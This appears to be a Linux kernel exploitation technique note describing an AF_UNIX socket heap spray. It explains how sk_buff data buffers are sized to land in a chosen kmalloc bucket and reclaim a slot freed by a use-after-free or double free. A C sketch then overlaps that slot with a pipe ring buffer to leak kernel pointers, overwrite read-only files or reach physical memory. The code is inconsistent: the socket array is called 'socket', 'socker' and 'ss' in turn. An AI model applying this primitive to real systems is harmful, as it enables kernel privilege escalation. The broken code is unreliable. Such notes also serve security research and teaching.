sockets

#kmalloc-variable#skb#sk_buff#af_unix#heapspray
Slabkmalloc-512-to-kmalloc-8192 (variable, size-controlled)
Requiresuaf-or-double-free-primitive
Givescontrolled-size-heap-groomoverlap-with-arbitrary-kmalloc-N-object (e.g. pipe_buffer, msg_msg)

AF_UNIX socket (skb) spray

Ths is quite same idea as pipe_buffer/msg_msg overlap technique. Get a size-controlled kmalloc object into a UAF freed slot. Here the object is the data buffer of a struct sk_buff, not the sk_buff struct itself.

// net/core/skbuff.c — __alloc_skb()
data = kmalloc_reserve(&size, gfp_mask, node, skb); allocation

skb->head/skb->data point at this buffer. Reading/writing the socket reads/writes straight into it — that’s the overlap primitive.

Sizing — landing in a target kmalloc-N bucket

Before the size you write() becomes a kmalloc request, the kernel pads it:

// include/linux/skbuff.h
#define SKB_HEAD_ALIGN(X) (SKB_DATA_ALIGN(X) + SKB_DATA_ALIGN(sizeof(struct skb_shared_info)))

So the real allocation = your_write_len + sizeof(struct skb_shared_info) (cache-line aligned), rounded up to the nearest kmalloc-N . skb_shared_info is ~0x140 bytes on common build. To land exactly in a target bucket:

write_len = target_kmalloc_size - 0x140

If you go slightly over then it rounds into the next bucket instead, resulting ini incorrect cache and no overlap.

How to ?

  1. socketpair(AF_UNIX, SOCK_STREAM, 0, ss) — create two connected sockets. ss[0]/ss[1] are peers (unix_peer() points them at each other).
  2. write(ss[0], buf, write_len) — allocates a fresh skb sized as above, copies buf into skb->data, queues it on ss[1]’s sk_receive_queue. This is the spray/reclaim step.
  3. read(ss[1], buf, write_len) — copies skb->data back out to buf. If that memory now belongs to something else (UAF reuse), this leaks it. Writing again via write() after the something-else has taken the same object corrupts it instead.
char sk_buf[1024 - 0x140] = {0};   // targets kmalloc-1024
int socket[2];

socketpair(AF_UNIX, SOCK_STREAM, 0, socker);

free_uaf_object();

write(socket[0], sk_buf, sizeof(sk_buf)); //skb data buffer reclaims the freed slot

free_uaf_object(); // for double free
pipe(pipefd);
write(pipefd[1], "WWWWW", 5); // Now the same kmalloc-1024 object overlaps in pipe's ring buffer and iin sk buffer.

//sk_buf now holds the victim object's raw bytes
// Following read via sockets dumps the raw memory of ring buffer leaking kernel pointer, page structs and meta data.
read(socket[1], sk_buf, sizeof(sk_buf));

// to corrupt instead of just leak: edit sk_buf, then
update_sk_buf_array_with_corrupted_pipe_ring_bufffer_content();

write(ss[0], sk_buf, sizeof(sk_buf));   // writes it back(updates the ring buffer of pipe_buffer struct)
  • This overlapping can be used to either update meta data of pipe_buffer struct and edit read only files or we can traverse the entire physical memory by changing the struct page pointer on the pipe_buffer struct.

    Code references

  • net/unix/af_unix.cunix_socketpair(), unix_stream_sendmsg(), unix_stream_recvmsg() / unix_stream_read_generic()
  • net/core/skbuff.c__alloc_skb(), kmalloc_reserve(), __finalize_skb_around()
  • net/core/datagram.cskb_copy_datagram_from_iter() (write path), skb_copy_datagram_iter() (read path)